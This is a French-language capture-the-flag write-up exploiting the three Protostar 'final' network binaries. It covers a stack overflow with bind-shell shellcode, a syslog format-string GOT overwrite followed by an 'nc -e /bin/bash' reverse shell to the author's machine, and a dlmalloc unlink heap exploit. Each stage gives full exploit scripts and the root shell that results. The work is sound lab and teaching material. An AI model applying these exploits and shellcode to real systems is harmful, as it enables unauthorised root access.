On est en finale ! On est en finale ! On est, on est, on est en finale !
Il nous reste trois binaires avant de devenir champion mon ami, chacun écoutant sur un port :
1
2
3
tcp 0 0 0.0.0.0:2993 0.0.0.0:* LISTEN 1529/final2
tcp 0 0 0.0.0.0:2994 0.0.0.0:* LISTEN 1527/final1
tcp 0 0 0.0.0.0:2995 0.0.0.0:* LISTEN 1525/final0
Final 0
On commence par celui qui concerne un stack overflow :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
La fonction get_username
est vulnérable car elle utilise la fonction gets
qui n’est pas limitée sur la lecture et peut donc déborder du buffer de 512 octets.
Si on parvient à écraser l’adresse de retour, le détournement de l’exécution sera déclenché sur la dernière ligne (return strdup(buffer)
) seulement entre temps plusieurs opérations peuvent altérer notre payload :
le code utilise
strchr
pour trouver et supprimer les retours à la ligne (CR er LF)le code met le buffer en majuscules
On peut facilement vérifier qu’on a le controle sur le registre eip
en envoyant une suite de A.
1
2
3
4
5
6
root@protostar:/home/user# nc 127.0.0.1 2995 -v
127.0.0.1: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [127.0.0.1] 2995 (?) open
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@protostar:/home/user# dmesg | tail -1
[1412792.784263] final0[21639]: segfault at 41414141 ip 41414141 sp bffffc60 error 4
Reproduisons la même chose mais avec un pattern sans répétitions pour déterminer où pointe eip
et esp
.
1
2
3
4
5
6
7
>>> from pwnlib.util.cyclic import cyclic_gen
>>> g = cyclic_gen()
>>> g.get(700)
b'zaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaak'
>>> # ici on copie la chaine pour l'envoyer sur le port puis on récupère les infos via GDB (voir au dessous)
>>> g.find(0x6a616169)
(932, 1, 532)
Avec GDB je m’attache au processus et je spécifie que je veux passer sur le processus fils lors d’un fork :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@protostar:/opt/protostar/bin# gdb -q
(gdb) attach 1525
Attaching to process 1525
Reading symbols from /opt/protostar/bin/final0...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64
64 ../sysdeps/unix/sysv/linux/i386/socket.S: No such file or directory.
in ../sysdeps/unix/sysv/linux/i386/socket.S
Current language: auto
The current source language is "auto; currently asm".
(gdb) b *0x08049832
Breakpoint 1 at 0x8049832: file final0/final0.c, line 34.
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 21682]
[Switching to process 21682]
Breakpoint 1, 0x08049832 in get_username () at final0/final0.c:34
34 final0/final0.c: No such file or directory.
in final0/final0.c
Current language: auto
The current source language is "auto; currently c".
(gdb) info reg
eax 0x804b008 134524936
ecx 0x0 0
edx 0x1 1
ebx 0x6a616167 1784766823
esp 0xbffffc5c 0xbffffc5c
ebp 0x6a616168 0x6a616168
esi 0x0 0
edi 0x0 0
eip 0x8049832 0x8049832 <get_username+216>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $esp
0xbffffc5c: "iaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaak"
(gdb) x/s $eax
0x804b008: "ZAAEBAAECAAEDAAEEAAEFAAEGAAEHAAEIAAEJAAEKAAELAAEMAAENAAEOAAEPAAEQAAERAAESAAETAAEUAAEVAAEWAAEXAAEYAAEZAAFBAAFCAAFDAAFEAAFFAAFGAAFHAAFIAAFJAAFKAAFLAAFMAAFNAAFOAAFPAAFQAAFRAAFSAAFTAAFUAAFVAAFWAAFXAAFYAAF"...
Ici j’ai mis un breakpoint sur l’instruction ret
qui pop l’adresse de retour par conséquent au moment de détourner l’exécution esp
pointera 4 octets après sa valeur actuelle (offset 536). Le registre eax
pointe quand à lui sur le début de la chaine que l’on a envoyé.
Je trouve dans le binaire un gadget approprié :
0x08048d5f : call eax
On va donc utiliser ce gadget pour écraser l’adresse de retour et le début du payload contiendra un shellcode résistant à toupper
.
J’ai pris l’option de facilité en utilisant un shellcode trouvé sur exploit-db :
Linux/x86 - Bind (5074/TCP) Shell + ToUpper Encoded Shellcode (226 bytes)
Mon exploit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import socket
import struct
# https://www.exploit-db.com/shellcodes/13427
shellcode = (
"\xeb\x02"
"\xeb\x05"
"\xe8\xf9\xff\xff\xff"
"\x5f"
"\x81\xef\xdf\xff\xff\xff"
"\x57"
"\x5e"
"\x29\xc9"
"\x80\xc1\xb8"
"\x8a\x07"
"\x2c\x41"
"\xc0\xe0\x04"
"\x47"
"\x02\x07"
"\x2c\x41"
"\x88\x06"
"\x46"
"\x47"
"\x49"
"\xe2\xed"
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB"
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA"
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO"
"BLAALMNIA"
)
call_eax = 0x08048d5f
sock = socket.socket()
sock.connect(("192.168.56.95", 2995))
sock.send(shellcode + "A" * (532 - len(shellcode)) + struct.pack("<I", call_eax))
Et on obtient bien un shell root sur le port 5074 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ncat 192.168.56.95 5074 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.95:5074.
id
uid=0(root) gid=0(root) groups=0(root)
echo $$
21713
pstree -ap | grep -B5 21713
|-atd,1204
|-cron,1283
|-dhclient,1626 -v -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
|-exim4,1505 -bd -q30m
|-final0,1525
| `-sh,21713
| |-grep,21724 -B5 21713
Final 1
NB: Je n’entre pas ici dans les détails de l’exploitation des chaines de format, veuillez lire Pwing echo : Exploitation d’une faille de chaîne de format pour comprendre les mécanismes permettant d’écrire la valeur que l’on souhaite à l’adresse que l’on souhaite.
Il s’agit ici de l’exploitation d’une chaine de format. Pas de printf
ici mais un syslog
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include "../common/common.c"
#include <syslog.h>
#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
La méthode attendue est d’exploiter le binaire en aveugle puisqu’on ne dispose pas d’un accès sur /var/log/syslog
. Grosso modo on tente d’écrire à une adresse et si ça crashe c’est que l’on fait fausse route. On a toutefois accès au binaire donc on peut le copier chez nous et lire notre fichier syslog
.
Ainsi en faisant afficher en hexa les différents dwords sur la stack je remarque qu’en position 7 se trouve le début de la chaine formée (Login from…)
Et finalement en position 15 :
1
2
3
[final1] $ username pAAAA
[final1] $ login %15$08x
login failed
Je parviens à obtenir la réflection du nom d’utilisateur (j’exploite ici l’injection de la chaine de format via le password) :
1
2023-01-27T10:08:16.185284+01:00 linux-vyoc final1: Login from 127.0.0.1:56992 as [pAAAA] with password [41414141]
Petit problème: en local j’ai l’IP 127.0.0.1
mais sur la machine du CTF ce sera 192.168.56.1
soit 3 octets de plus, il faut finalement recaler et aller chercher sur les offsets 16 et 17.
La fonction strchr
est une bonne candidate pour être écrasée. Comme le code fait une boucle infinie dans la fonction parser
et appelle trim
qui appelle strchr
sur le buffer reçu je peux obtenir une exécution de commande fiable si je remplace son adresse dans la GOT
par celle de system
.
L’adresse de system
dans la libc est 0xb7ecffb0
. Les adresses ne sont pas randomisées.
Avant d’atteindre la chaine de format, 53 octets sont déjà écrits via le Login from 192.168.56.1...
Je vais utiliser une chaine de format pour écraser l’adresse de strchr
en deux fois (en écrasant deux shorts, un short équivaut deux octets).
D’abord écraser le short le plus petit soit la valeur 0xb7ec
(47084
) puis le plus grand, 0xffb0
(65456
).
Comme je rajoute l’adresse du second short dans ma chaine de format je doit déduire 4 octets de plus donc 57 octets déjà écrits et non plus 53.
Il me reste à écrire 47084 - 57 = 47027
octets. Cette valeur sera écrasée dans le premier short via le format %15$hn
.
Il faut ensuite que de déduise cela pour le second short soit 65456 - 47027 = 18429
octets qui sera écrasé en prenant l’adresse présente à l’offset qui suit (%16$hn
).
L’adresse de strchr
dans la GOT
est 0x804a12c
.
J’aurais à envoyer un username de cette façon : username p\x2c\xa1\x04\x08\x2e\xa1\x04\x08
Et le login ressemblera à ceci : login %47027x%15$hn%18429x%16$hn
Ca fonctionne en local mais sur l’instance du CTF j’ai dû adapter un peu. Le fait que l’adresse IP ne soit pas la même implique de modifier le padding, du coup voici l’exploit final :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import socket
import struct
strchr = 0x804a12c
sock = socket.socket()
sock.connect(("192.168.56.95", 2994))
sock.recv(1024)
sock.send("username pp" + struct.pack("<II", strchr + 2, strchr) + "\n")
sock.recv(1024)
sock.send("login %47023x%16$hn%18372x%17$hn" + "\n")
sock.recv(1024)
sock.recv(1024)
sock.send("nc -e /bin/bash 192.168.56.1 4444 -v\n")
sock.recv(1024
Et ça fonctionne :
1
2
3
4
5
6
7
8
$ ncat -l -p 4444 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.56.95.
Ncat: Connection from 192.168.56.95:45652.
id
uid=0(root) gid=0(root) groups=0(root)
Final 2
Bien sûr sur ce dernier exercice on est en présence d’un heap overflow et il nous faudra écraser les métadonnées de chunk pour exploiter une faille unlink dlmalloc.
Pour plus d’informations sur le fonctionnement de malloc et l’exploitation de cette faille il est péférable que vous lisiez d’abord Solution du CTF Protostar heap3.
Le code source du CTF est ici : Final Two :: Andrew Griffiths’ Exploit Education. Le code ne révèle pas toute la réalité : le programme consiste en une grosse boucle qui lit des blocs de 128 octets sur le réseau. A chaque fois il copie les données vers un nouveau chunk alloué et vérifie que la taille reçue est bien de 128 et qu’un entête FSRD
est présent.
Ce que le code ne montre pas (mais que l’on devine aisément) c’est que l’adresse de chaque zone allouée est stockée dans un tableau nommé destroylist
qui est effectivement énuméré à la fin pour libérer les chunks dans l’ordre où ils ont été créés.
C’est un point important car ça signifie que lors de la libération du premier chunk cela va modifier le flag prev in use
stocké dans l’indicateur de taille du second chunk et définir aussi son entrée prev size
(donc potentiellement écraser ce qu’on a mis en place).
Le programme lisant strictement 128 octets, comment dépasser en dehors de la zone allouée ? C’est possible grace à la fonction check_path
qui modifie un chemin de fichier en recopiant le nom de fichier (ce qui se trouve après le dernier slash) à la position du slash qui précéde la mention ROOT
.
C’est assez complexe à expliquer alors j’ai préféré reprendre la fonction dans un nouveau programme qui prend deux paramètres :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving %d bytes from %p to %p (exploit: %s / %d)\n", l, p, start, start < buf ? "yes" : "no", start - buf);
}
}
printf("buff = %s\n", buf);
}
int main(int argc, char *argv[]) {
char *path1 = malloc(128);
char *path2 = malloc(128);
strncpy(path1, argv[1], 128);
strncpy(path2, argv[2], 128);
check_path(path1);
check_path(path2);
printf("path1 = %s\n", path1);
printf("path2 = %s\n", path2);
free(path1);
free(path2);
return 0;
}
Il suffit de faire en sorte que aucun slash ne précéde le mot ROOT
dans le second chunk pour que le code remonte en mémoire (à cause de la ligne while(*start != '/') start--;
) et pointe à la fin de notre précédent chunk.
Là il va y copier ce qu’il considère être le nom du fichier donc on a intérêt à avoir un nom de fichier bien long pour écraser le maximum de données :
1
2
3
4
5
6
7
8
9
./check_path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ROOT/ ROOT/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
moving 5 bytes from 0x1ad831b to 0x1ad831b (exploit: no / 123)
buff = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ROOT
moving 124 bytes from 0x1ad8334 to 0x1ad831b (exploit: yes / -21)
buff = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
path1 = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
path2 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
munmap_chunk(): invalid pointer
Abandon (core dumped)
Pour le binaire du challenge je peux me servir du code suivant pour remplir la mémoire :
1
2
3
4
5
6
7
8
9
10
import socket
import string
sock = socket.socket()
sock.connect(("127.0.0.1", 2993))
sock.send("FSRDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ROOT/")
sock.send("FSRDROOT/" + ''.join(c*4 for c in string.letters[:29]) + "ZZZ")
sock.send("STOP")
print(sock.recv(2048))
print(sock.recv(2048))
J’envoie d’abord FSRD
suvi de 118 A
puis /ROOT/
. Un chunk est alloué :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) x/80wx 0x0804e000
0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141 <- 0x88 est la taille du premier chunk + flag prev in use à 1
0x804e010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x522f4141 0x2f544f4f 0x00000000 0x00000f79 <- top chunk
0x804e090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e130: 0x00000000 0x00000000 0x00000000 0x0000000
puis j’envoie le second buffer composé des caractères de l’alphabet par bloc de 4, le chunk est alloué et les données copiées aussi :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) x/80wx 0x0804e000
0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141
0x804e010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x522f4141 0x2f544f4f 0x00000000 0x00000089 <- second chunk de taille 0x88 + flag prev in use à 1
0x804e090: 0x44525346 0x544f4f52 0x6161612f 0x62626261 <- on voit le début de l'alphabet avec 0x61 mais décalé avec le header
0x804e0a0: 0x63636362 0x64646463 0x65656564 0x66666665
0x804e0b0: 0x67676766 0x68686867 0x69696968 0x6a6a6a69
0x804e0c0: 0x6b6b6b6a 0x6c6c6c6b 0x6d6d6d6c 0x6e6e6e6d
0x804e0d0: 0x6f6f6f6e 0x7070706f 0x71717170 0x72727271
0x804e0e0: 0x73737372 0x74747473 0x75757574 0x76767675
0x804e0f0: 0x77777776 0x78787877 0x79797978 0x7a7a7a79
0x804e100: 0x4141417a 0x42424241 0x43434342 0x41414143
0x804e110: 0x00000000 0x00000ef1 0x00000000 0x00000000 <- top chunk
0x804e120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e130: 0x00000000 0x00000000 0x00000000 0x00000000
et finalement quand check_path
est exécuté :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) x/80wx 0x0804e000
0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141
0x804e010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x522f4141 0x2f544f4f 0x61616161 0x62626262 <- on a écrasé les méta données du second chunk
0x804e090: 0x63636363 0x64646464 0x65656565 0x66666666
0x804e0a0: 0x67676767 0x68686868 0x69696969 0x6a6a6a6a
0x804e0b0: 0x6b6b6b6b 0x6c6c6c6c 0x6d6d6d6d 0x6e6e6e6e
0x804e0c0: 0x6f6f6f6f 0x70707070 0x71717171 0x72727272
0x804e0d0: 0x73737373 0x74747474 0x75757575 0x76767676
0x804e0e0: 0x77777777 0x78787878 0x79797979 0x7a7a7a7a
0x804e0f0: 0x41414141 0x42424242 0x43434343 0x7a414141
0x804e100: 0x4141417a 0x42424241 0x43434342 0x41414143
0x804e110: 0x00000000 0x00000ef1 0x00000000 0x00000000 <- top chunk
0x804e120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e130: 0x00000000 0x00000000 0x00000000 0x00000000
Maintenant que l’on comprend mieux comment on peut écraser un chunk on doit réfléchir à ce qu’on faire comme opération.
Le code C du CTF a cette boucle de libération :
1
2
3
4
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
Ca m’intéressait d’écraser l’adresse de strlen
dans la GOT
mais en regardant le code assembleur on s’apperçoit qu’en fin de compte cet appel a été remplacé par une valeur numérique (potentiellement une optimisation du compilateur).
Du coup il ne nous reste que la fonction write
que l’on peut écraser car free
fait partie des symboles inclus dans le binaire (le code de malloc
n’a pas été linké pour les besoins du CTF).
J’ai écris l’exploit suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import string
import struct
write_got = 0x804d41c
stage1_addr = 0x804e010
stage1 = "\x68\x18\xe1\x04\x08\xc3" # push 0x0804e118; ret;
sock = socket.socket()
sock.connect(("192.168.56.95", 2993))
sock.send("FSRDAAAA" + stage1 + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ROOT/")
buff = "FSRD" + "ROOT/" + "\xfc\xff\xff\xff" + "\xfd\xff\xff\xff" + struct.pack("<I", write_got - 0xc) + struct.pack("<I", stage1_addr)
buff += "A" * (128 - len(buff))
sock.send(buff)
# https://www.exploit-db.com/shellcodes/13360
shellcode = (
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"\x7a\x69"
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
"\xb0\x66\xb3\x04\xcd\x80"
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"
)
sock.send(shellcode)
print(sock.recv(2048))
print(sock.recv(2048))
Il écrase le second chunk pour un chunk affiché comme étant de taille -4 et avec le flag prev in use
à 1 ce qui donne 0xfffffffd
.
La taille du chunk précédent est marquée à -4 soit 0xfffffffc
.
J’ai un stage
qui consiste à pousser l’adresse 0x0804e118
et à sauter dessus via un ret
. Il est présent à l’adresse 0x804e010
(l’ASLR est désactivée).
A l’adresse 0x0804e118
se trouvent notre shellcode présent dans le 3ème chunk.
Voici la structure mémoire du binaire aux différentes étapes de l’exploitation.
Deux chunks présents avant l’appel à check_path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141
0x804e010: 0x04e11868 0x4141c308 0x41414141 0x41414141 <- notre stage1 en début de ligne
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x522f4141 0x2f544f4f 0x00000000 0x00000089
0x804e090: 0x44525346 0x544f4f52 0xfffffc2f 0xfffffdff <- on apperçoit le fake chunk mais pas encore positionné
0x804e0a0: 0x04d410ff 0x04e01008 0x41414108 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e100: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e110: 0x00000000 0x00000ef1 0x00000000 0x00000000
0x804e120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e130: 0x00000000 0x00000000 0x00000000 0x00000000
Fake chunk recalé
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) x/80wx 0x0804e000
0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141
0x804e010: 0x04e11868 0x4141c308 0x41414141 0x41414141
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x522f4141 0x2f544f4f 0xfffffffc 0xfffffffd <- flag prev in use à 1
0x804e090: 0x0804d410 0x0804e010 0x41414141 0x41414141
